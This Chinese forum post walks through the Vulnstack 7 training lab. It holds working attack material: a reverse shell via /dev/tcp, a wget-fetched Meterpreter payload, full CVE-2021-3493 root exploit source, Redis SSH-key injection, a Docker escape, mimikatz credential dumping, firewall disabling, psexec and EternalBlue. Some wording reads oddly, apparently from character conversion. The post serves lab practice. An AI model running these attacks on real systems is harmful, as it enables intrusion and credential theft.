vulnstack-7(红日靶场七)

打印 上一主题 下一主题

主题 869|帖子 869|积分 2607

环境配置

vlunstack是红日安全团队出品的一个实战环境,具体先容请访问:漏洞详情
http://vulnstack.qiyuanxuetang.net/vuln/detail/9/



添加两个网卡

   DMZ地区:
  给Ubuntu (Web 1) 配置了两个网卡,一个可以对外提供服务;一个连接第二层网络。
  
  第二层网络地区:
  给Ubuntu (Web 2) 和Windows 7 (PC 1)都配置了两个网卡,一个连接第二层网络,一个连接第三层网络。
  
  第三次网络地区:
  给Windows Server 2012和Windows 7 (PC 2)都只配置了一个网卡,连接第三层网络。
  
Ubuntu (Web 1)


buntu (Web 2) 和Windows 7 (PC 1)


Pc1

Windows Server 2012和Windows 7 (PC 2)

Pc2

Windows Server 2012

域用户信息

   Administrator:Whoami2021
  whoami:Whoami2021
  bunny:Bunny2021
  moretz:Moretz2021
  Ubuntu 1: web:web2021
  Ubuntu 2: ubuntu:ubuntu
  通达OA账户: admin:admin657260
  配置开启

排泄之前,我们还需要到开启相应的服务配置,每次开机都需要举行配置开启

DMZ区的 Ubuntu 需要启动redis和nginx服务:

   sudo redis-server /etc/redis.conf
    sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
    sudo iptables -F
  


办理80端口占用题目
   sudo netstat -ntlp
  

   kill -9 790
  

第二层网络的 Ubuntu需要启动docker容器:

   sudo service docker start
  
sudo docker start 8e172820ac78
第三层网络的 Windows 7 (PC 1)需要启动通达OA:

C:\MYOA\bin\AutoConfig.exe

外网办理

这肯定得祭出我的nmap开干对192.168.16.111 举行扫描

   
nmap -sV -p 1-65535 192.168.16.111

  

有80、81 nginx服务 然后6379 redis数据库,我们先从80、81端口下手
192.168.16.111
redis未授权访问

https://www.cnblogs.com/bmjoker/p/9548962.html
   redis-cli -h 192.168.16.111
  


详细步骤:
在攻击机本地天生公钥文件:
公钥文件默认路径:/root/.ssh/id_rsa.pub
   ssh-keygen -t ras
  

/home/kali/.ssh/id_rsa.pub
/home/kali/.ssh/id_rsa
存放公私钥
具体命令:
   ssh-keygen -t rsa
cd /root/.ssh
ls
  
   cat id_rsa.pub
  

  1. ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDTWukWVNmcgU6LhhuLDnypS8+KUO3FBJLNbznbqlUrUN0+YLKeVbbmm9/prjSWaGWznluzhhAQERWE3CWCuYnXhBHXemg5NuyCtOPLcW8IPW7Z05YOOhG2hyzTkbJB5vggrYPJJ/IweHaCP209ZyHSSZS0UlLDEzJMMNnh1HE0P+9qQm3/BSDodQhofSDjgHK62vB4cM2f48hc2sxWi2XpbDaiqV3irF9UKZ9Gf2ZOspOxwO/m0jsdOTTuTMbDpnDtFdJpy+9QP9lDffOL91/CSEuXyr1Tv4czqoiNfACwIX3oh6uS/W1myYrv10uyIGsEx2Qt+ykGebE9zfGEWcUDNgLGycJ4RHft4pLXDWq9tQpsQz9CP7iXu5hf2StL8yMGXKyF9qG4l3+39xmR4GCHLLPIgzPFpcIRnGP7a10OH2pWox61pR+1WNJfjtxpijwltWfejTdQsEh/Cr4MQjHxxhi5x+lxRBRCOau0FOrwgWjY8QSaixRImpm6re+MvF8= root@kali
复制代码

然后通过未授权访问目标机
具体命令

   redis-cli -h 192.168.16.111 #连接目标主机
    config get dir #检查当前保存路径
    config get dbfilename #检查保存文件名
    config set dir /root/.ssh/ #设置保存路径
    config set dbfilename authorized_keys #设置保存文件名
    set xz “\n\n\n 公钥 \n\n\n” #将公钥写入xz健
  
  1. set xz "\n\n\n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDTWukWVNmcgU6LhhuLDnypS8+KUO3FBJLNbznbqlUrUN0+YLKeVbbmm9/prjSWaGWznluzhhAQERWE3CWCuYnXhBHXemg5NuyCtOPLcW8IPW7Z05YOOhG2hyzTkbJB5vggrYPJJ/IweHaCP209ZyHSSZS0UlLDEzJMMNnh1HE0P+9qQm3/BSDodQhofSDjgHK62vB4cM2f48hc2sxWi2XpbDaiqV3irF9UKZ9Gf2ZOspOxwO/m0jsdOTTuTMbDpnDtFdJpy+9QP9lDffOL91/CSEuXyr1Tv4czqoiNfACwIX3oh6uS/W1myYrv10uyIGsEx2Qt+ykGebE9zfGEWcUDNgLGycJ4RHft4pLXDWq9tQpsQz9CP7iXu5hf2StL8yMGXKyF9qG4l3+39xmR4GCHLLPIgzPFpcIRnGP7a10OH2pWox61pR+1WNJfjtxpijwltWfejTdQsEh/Cr4MQjHxxhi5x+lxRBRCOau0FOrwgWjY8QSaixRImpm6re+MvF8= root@kali \n\n\n"
复制代码
#将公钥写入xz健
Save
 #举行保存

利用公钥举行SSH登录攻击机

利用公钥举行SSH登录攻击机
   ssh -i /root/.ssh/id_rsa root@192.168.16.111
  

上线msf

靶机下载shell
   msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.16.104 LPORT=1234 -f elf > shell.elf
    python -m http.server 80
    wget http://192.168.16.104/shell.elf
  

   msfconsole
    use exploit/multi/handler
    set payload linux/x64/meterpreter/reverse_tcp
  set lhost 0.0.0.0
  set lport 1234
  exploit
  乐成上线

添加路由

   
run get_local_subnets

  

run autoroute -p

run post/multi/manage/autoroute
run autoroute -p

web1信息网络

s /home下的文件发现有目录web
   cd /etc/nginx/conf.d/
  

发现目录下有两个配置文件一个是80的一个是81的,80端口404报错查看81端口的配置
发现81端口举行了反向署理



Laravel

访问81端口


查看版本

Laravel Debug RCE(CVE-2021-3129)
当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全利用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造发展途代码实行。这里直接利用工具 getshell,工具下载地址:
   https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
  


利用哥斯拉2.92版本可以直接连接

注意:高版本的哥斯拉天生的马的加密方式已经改变会导致连接失败

   https://github.com/BeichenDream/Godzilla
  


第一台的权限我们已经利用ssh登录乐成获取了,第一次的webshll现实是获取了第二台的docker权限,因此我们可以通过webshell将第二台主机的docker权限弹回我们的已经获取的第一台内里去,再对其举行后续操作,可以看到已经反弹shell乐成。
   bash -c ‘exec bash -i &>/dev/tcp/192.168.52.10/8848<&1’
  

提权

现在我们获取的是docker,需要举行docker逃逸,都是docker逃逸需要root,因此我们需要举行提权,寻找一下看看可不可以具有SUID或4000权限的文件来举行提权
   find / -perm -u=s -type f 2>/dev/null
  

发现一个shell文件,试着实行大概读取一下这个文件

   cd /home/jobs
  


该shell功能是展示ps历程,那么我们可以利用环境变量举行提权
我们写一个恶意的ps,内里进入shell命令行,修改环境变量,让shell找ps的时间找我们写的恶意ps

   cd /tmp
  echo "/bin/bash" > ps
  chmod 777 ps
  echo $PATH
  export PATH=/tmpPATH # 将/tmp添加到环境变量中,并且先加载实行/tmp里的步伐
  cd /home/jobs
  ./shell
  

运行shell后发现我们的权限提高成root了

此方法称为环境变量挟制

再来一个tty的交互式

   python -c 'import pty; pty.spawn("/bin/bash")'
  

现在我们实现了www用户到root用户的权限提拔,但可惜我们这台并不是实体机我们需要docker特权逃逸
特权模式于版本0.6被引入docker,允许容器内的root拥有外部物理机root的权限,而此前容器内root用户拥有外部物理机普通用户权限

首先我们在docker中新建一个/hi目录用来挂载文件

   mkdir /hi
  实验将/dev/sda1挂载到/hi目录里
   mount /dev/sda1 /hi
    ls /hi
  

我们在刚才获取的web1主机上天生一个ssh密钥

接下来将我们天生的ssh密钥写入/hi/home/ubuntu/.ssh目录的authorzed_keys文件中,写入后我们就可以利用密钥登录改机器

   ssh-keygen -f hi
    chmod 777 hi
  

我们将hi.hub中的密钥写入/hi/home/ubuntu/.ssh/authorized_keys中
Web1(root)天生rsa

   ssh-keygen -t rsa
    cd /root/.ssh
  ls
  cat id_rsa.pub
  

公钥写入web2
echo '天生的.pub文件的内容' > /hi/home/ubuntu/.ssh/authorized_keys

   echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDI1p1D1I5WUZIaymEmmiDc4FO8XI9JaXV0Sk2zPaAT5BBASuvvYwGUXGIZbrX666ut1mYFxlWr6tn0l7E9tille27Rut051MINW8bxQmL9KthH+jPuRsBTaX2lhqra8ClLmUFzSluuaGZS+aO7We6jcVp6uDP1AUDNtfsg8xf7TIXM0hBhE+EwaopGukraqSUQDYJq4Oyi3GAy29KdMQSdL/QGFCihCE/WfPaU+15C4pYuoP6nV1KdgO96PXBkBIPtWb0XJN12OPSJGBjt6EgYNA388nHAN0CHpNywAKD0ft702fo5qbdKrApO6pAyy93eRX3Y1ImGB1GTQi4tl5pH root@ubuntu' > /hi/home/ubuntu/.ssh/authorized_keys
  

然后我们查看一下是否写入乐成
   cat /hi/home/ubuntu/.ssh/authorized_keys
  登录
   ssh -i /root/.ssh/id_rsa ubuntu@192.168.52.20
  

权限提拔

uname -a
发现版本为ubuntu14.04版本,此版本存在CVE-2021-3493漏洞

https://github.com/briskets/CVE-2021-3493

影响版本

Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM
(Linux内核版本 < 5.11)

我们首先建立一个exploit.c文件,然后将脚本内容粘贴举行,然后编译运行就可以获得权限
  1. #define _GNU_SOURCE
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <unistd.h>
  6. #include <fcntl.h>
  7. #include <err.h>
  8. #include <errno.h>
  9. #include <sched.h>
  10. #include <sys/types.h>
  11. #include <sys/stat.h>
  12. #include <sys/wait.h>
  13. #include <sys/mount.h>
  14. //#include <attr/xattr.h>
  15. //#include <sys/xattr.h>
  16. int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);
  17. #define DIR_BASE    "./ovlcap"
  18. #define DIR_WORK    DIR_BASE "/work"
  19. #define DIR_LOWER   DIR_BASE "/lower"
  20. #define DIR_UPPER   DIR_BASE "/upper"
  21. #define DIR_MERGE   DIR_BASE "/merge"
  22. #define BIN_MERGE   DIR_MERGE "/magic"
  23. #define BIN_UPPER   DIR_UPPER "/magic"
  24. static void xmkdir(const char *path, mode_t mode)
  25. {
  26.     if (mkdir(path, mode) == -1 && errno != EEXIST)
  27.         err(1, "mkdir %s", path);
  28. }
  29. static void xwritefile(const char *path, const char *data)
  30. {
  31.     int fd = open(path, O_WRONLY);
  32.     if (fd == -1)
  33.         err(1, "open %s", path);
  34.     ssize_t len = (ssize_t) strlen(data);
  35.     if (write(fd, data, len) != len)
  36.         err(1, "write %s", path);
  37.     close(fd);
  38. }
  39. static void xcopyfile(const char *src, const char *dst, mode_t mode)
  40. {
  41.     int fi, fo;
  42.     if ((fi = open(src, O_RDONLY)) == -1)
  43.         err(1, "open %s", src);
  44.     if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
  45.         err(1, "open %s", dst);
  46.     char buf[4096];
  47.     ssize_t rd, wr;
  48.     for (;;) {
  49.         rd = read(fi, buf, sizeof(buf));
  50.         if (rd == 0) {
  51.             break;
  52.         } else if (rd == -1) {
  53.             if (errno == EINTR)
  54.                 continue;
  55.             err(1, "read %s", src);
  56.         }
  57.         char *p = buf;
  58.         while (rd > 0) {
  59.             wr = write(fo, p, rd);
  60.             if (wr == -1) {
  61.                 if (errno == EINTR)
  62.                     continue;
  63.                 err(1, "write %s", dst);
  64.             }
  65.             p += wr;
  66.             rd -= wr;
  67.         }
  68.     }
  69.     close(fi);
  70.     close(fo);
  71. }
  72. static int exploit()
  73. {
  74.     char buf[4096];
  75.     sprintf(buf, "rm -rf '%s/'", DIR_BASE);
  76.     system(buf);
  77.     xmkdir(DIR_BASE, 0777);
  78.     xmkdir(DIR_WORK,  0777);
  79.     xmkdir(DIR_LOWER, 0777);
  80.     xmkdir(DIR_UPPER, 0777);
  81.     xmkdir(DIR_MERGE, 0777);
  82.     uid_t uid = getuid();
  83.     gid_t gid = getgid();
  84.     if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
  85.         err(1, "unshare");
  86.     xwritefile("/proc/self/setgroups", "deny");
  87.     sprintf(buf, "0 %d 1", uid);
  88.     xwritefile("/proc/self/uid_map", buf);
  89.     sprintf(buf, "0 %d 1", gid);
  90.     xwritefile("/proc/self/gid_map", buf);
  91.     sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
  92.     if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
  93.         err(1, "mount %s", DIR_MERGE);
  94.     // all+ep
  95.     char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";
  96.     xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
  97.     if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
  98.         err(1, "setxattr %s", BIN_MERGE);
  99.     return 0;
  100. }
  101. int main(int argc, char *argv[])
  102. {
  103.     if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
  104.         setuid(0);
  105.         setgid(0);
  106.         execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
  107.         err(1, "execl /bin/bash");
  108.     }
  109.     pid_t child = fork();
  110.     if (child == -1)
  111.         err(1, "fork");
  112.     if (child == 0) {
  113.         _exit(exploit());
  114.     } else {
  115.         waitpid(child, NULL, 0);
  116.     }
  117.     execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
  118.     err(1, "execl %s", BIN_UPPER);
  119. }
复制代码

   vim exploit.c
  gcc exploit.c -o exploit
  chmod +x exploit
  ./exploit
  MSF进攻内网

乐成提权,接下来两台机子上线MSF进攻内网

   msfvenom -p linux/x64/meterpreter/bind_tcp lport=6666 -f elf > bind.elf
    wget http://192.168.52.10:81/bind.elf
  

上线msf
   use exploit/multi/handler
  set payload linux/x64/meterpreter/bind_tcp
  set RHOST 192.168.52.20
  set LPORT 6666
  run
  


隧道搭建
 


   /home/kali/Desktop/ew-master/ew_for_linux64
  
   nohup ./ew_for_linux64 -s rssocks -d 192.168.16.104 -e 4444
     ./ew_for_linux64 -s rcsocks -l 1080  -e 4444
  

访问内网


发现通达OA服务

通达OA任意文件上传
利用通达OA漏洞工具举行检测、利用
工具地址:GitHub - Fu5r0dah/TongdaScan_go: 通达OA漏洞检测工具-TongdaScan_go
漏洞检测

http://192.168.52.30:8080/_doit.php

密码:just


 网络信息和网卡信息,发现93网段有两台主机,举行msf93网段横向移动,

上线pc1

   msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -f exe > msf.exe
  

哥斯拉上传木马

   msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -f exe > msf.exe
  use exploit/multi/handler
  set payload windows/meterpreter/bind_tcp
  set lport 4444
  set RHOST 192.168.52.30
  

域信息网络命令;

   net view                 # 查看局域网内其他主机名
  net config Workstation   # 查看计算机名、全名、用户名、体系版本、工作站、域、登录域
  net user                 # 查看本机用户列表
  net user /domain         # 查看域用户
  net localgroup administrators # 查看本地管理员组(通常会有域用户)
  net view /domain         # 查看有几个域
  net user 用户名 /domain   # 获取指定域用户的信息
  net group /domain        # 查看域内里的工作组,查看把用户分了多少组(只能在域控上操作)
  net group 组名 /domain    # 查看域中某工作组
  net group "domain admins" /domain  # 查看域管理员的名字
  net group "domain computers" /domain  # 查看域中的其他主机名
  net group "doamin controllers" /domain  # 查看域控制器主机名(可能有多台)
  

发现93网段



kiwi模块
利用kiwi模块需要system权限,以是我们在利用该模块之前需要将当前MSF中的shell提拔为system。提到system有两个方法,一是当前的权限是administrator用户,二是利用别的本事先提权到administrator用户。然后administrator用户可以直接getsystem到system权限。
#kiwi不能在x64运行 必须要内存迁移
   load kiwi
    kiwi_cmd privilege::debug
    ps
    migrate 1832
    kiwi_cmd sekurlsa::logonpasswords
  


可以看到一大堆明文密码,我们可以利用msf自带的 psexec举行移动,移动之前我们还需要关闭92.30网段的防火墙,利用ipc举行连接关闭防火墙

先建立ipc连接

   net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
  

创建关闭防火墙任务

   sc \\192.168.93.30 create unablefirewall binpath="netsh advfirewall set allprofiles state off"
  实行

   sc \\192.168.93.30 start unablefirewall
  

psexec举行横向

PSExec工具
利用PSExec条件:SMB服务必须开启以及可达。文件和打印机共享必须开启,禁止简单文件共享。
Admin$必须可以访问。PSExec利用的口令必须可以访问Admin$共享。
在PSExec可实行文件中含有一个Windows服务。它利用该服务并且在远端机器上部署Admin$。然后通过SMB利用DCE/RPC接口来访问Windows Service Control Manager API。然后在长途主机中开启PSExec访问。然后PSExec服务创建一个命名管道,用它来发送死令。
exploit/windows/smb/psexec
exploit在可实行文件中天生/嵌入一个payload,其本质是用过PSExec工具上传的一个服务image。然后exploit利用提供的口令来把服务可实行文件上传到Admin$中,连接到DEC/RPC接口,然后在告诉SCM启动我们部署的服务之前调用Service Control Manager。当服务启动后,创建一个rundll32.exe历程,在历程中分配可实行内存,然后把shellcode拷贝到历程中。然后调用内存地址,实行shellcode。
可实行文件由模板天生,可以由杀毒软件发现。
添加路由
   run post/multi/manage/autoroute
  run autoroute -p
  抓取到域管理员的密码了,直接psexec登陆
   use exploit/windows/smb/psexec
  set payload windows/meterpreter/bind_tcp
  set rhost 192.168.93.30
  set smbuser administrator
  set smbpass Whoami2021
  

上线了

上线Pc2
这里可以直接打一波永恒之蓝

   use exploit/windows/smb/ms17_010_eternalblue
  set rhosts 192.168.93.40
  set payload windows/x64/meterpreter/bind_tcp
  set RHOST 192.168.93.40
  set lport 5555
  exploit
  



免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

万有斥力

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表